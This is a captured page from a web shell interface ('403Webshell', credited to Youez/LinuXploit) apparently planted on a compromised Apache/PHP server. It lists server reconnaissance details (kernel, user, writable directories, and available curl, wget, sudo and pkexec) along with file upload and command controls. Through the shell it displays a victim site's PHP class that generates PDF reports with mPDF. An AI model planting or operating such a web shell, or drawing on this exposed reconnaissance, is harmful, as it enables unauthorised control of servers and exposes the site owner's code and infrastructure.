403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/connectionsdev/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/connectionsdev/classes/lcs_db_report_pdf.php
<?php
require_once('lcs_db_report_html.php');

class lcs_db_report_pdf extends lcs_db_report_html implements report_interface {
	
	public function __construct() {
	}
	
	public function report_start()
	{
		$this->html .= '<html><head><title>' . APP_TITLE . ' Report</title>';
		$this->html .= '<link rel="stylesheet" href="'.APP_BASE_SECURE.'css/main.css?ver='.filemtime(APP_ROOT_DIR.'/css/main.css').'" type="text/css" >';
		$this->html .= '<link rel="stylesheet" href="'.APP_BASE_SECURE.'css/report.css?ver='.filemtime(APP_ROOT_DIR.'/css/report.css').'" type="text/css" >';
		if ($_POST['orientation'] == 'L') :
			$this->html .= '<style>';
			$this->html .= 'table {width:10in!important;}';
			$this->html .= '</style>';
		endif;
		$this->html .= '</head><body style="; background-color: #ffffff!important">';
		$this->html .= '<table>';
	}

	public function header_start()
	{
		$this->html .= '<thead>';
	}

	public function footer_end()
	{
		$this->html .= '</tfoot>';
	}
	
	public function output_report($filename = '')
	{
		ini_set('display_errors', '0');
		ini_set("pcre.backtrack_limit","10000000");
		ini_set("memory_limit","1024M");
		if ($_POST['orientation'] == 'L') :
			$page_format = 'Letter-L';
		else :
			$page_format = 'Letter';
		endif;
		$mpdf = new \Mpdf\Mpdf([
			'format' => $page_format,
			'margin_left' => 12,
			'margin_right' => 12,
			'margin_top' => 25,
			'margin_bottom' => 15,
			'margin_header' => 10,
			'margin_footer' => 10,
		]);
		$mpdf->debug = false;
		//$mpdf->SetAutoFont(AUTOFONT_RTL);
		$mpdf->keep_table_proportions = true;
		//$mpdf->SetProtection(array('copy','print'));
		$mpdf->SetProtection(array('copy','print','modify','annot-forms','fill-forms','extract','assemble','print-highres'), '', '');
		$mpdf->SetTitle(APP_TITLE . ' - Report');
		$mpdf->SetAuthor(APP_COMPANY);
		//$mpdf->SetWatermarkText(APP_COMPANY);
		//$mpdf->showWatermarkText = true;
		//$mpdf->watermark_font = 'DejaVuSansCondensed';
		//$mpdf->watermarkTextAlpha = 0.1;
		$mpdf->SetHTMLHeader('<table width="100%" style="vertical-align: bottom; font-family: serif; font-size: 10pt; background-color: #ffffff; color: #000000; font-weight: bold; font-style: italic;"><tr>'.
							'<td width="33%"><span style="font-weight: bold; font-style: italic;">' . APP_COMPANY . '</span></td>'.
							'<td width="34%" style="text-align: center;"><span style="font-weight: bold; font-style: italic;">' . APP_TITLE . '</span></td>'.
							'<td width="33%" style="text-align: right; ">Date: '.date('m/d/Y').'</td>'.
							'</tr><tr><td colspan="3" align="center" style="font-weight: bold; font-style: italic; font-size:20px;">'.htmlspecialchars($this->get_report_title()).'</td></tr></table>');
		$mpdf->SetHTMLFooter('<table width="100%" style="vertical-align: bottom; font-family: serif; font-size: 8pt; background-color: #ffffff; color: #000000; font-weight: bold; font-style: italic;"><tr>'.
							'<td width="33%"><span style="font-weight: bold; font-style: italic;">{DATE m/j/Y}</span></td>'.
							'<td width="33%" align="center" style="font-weight: bold; font-style: italic;">Page {PAGENO} of {nbpg}</td>'.
							'<td width="33%" style="text-align: right; ">User: '.$_SESSION['user_full_name'].'</td>'.
							'</tr></table>');
		$mpdf->SetDisplayMode('fullpage');
		//$html = $_REQUEST['pdf_html'];
		//echo $this->html; die();
		//echo strlen($html);
		$mpdf->WriteHTML($this->html);
		$mpdf->Output(); 
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit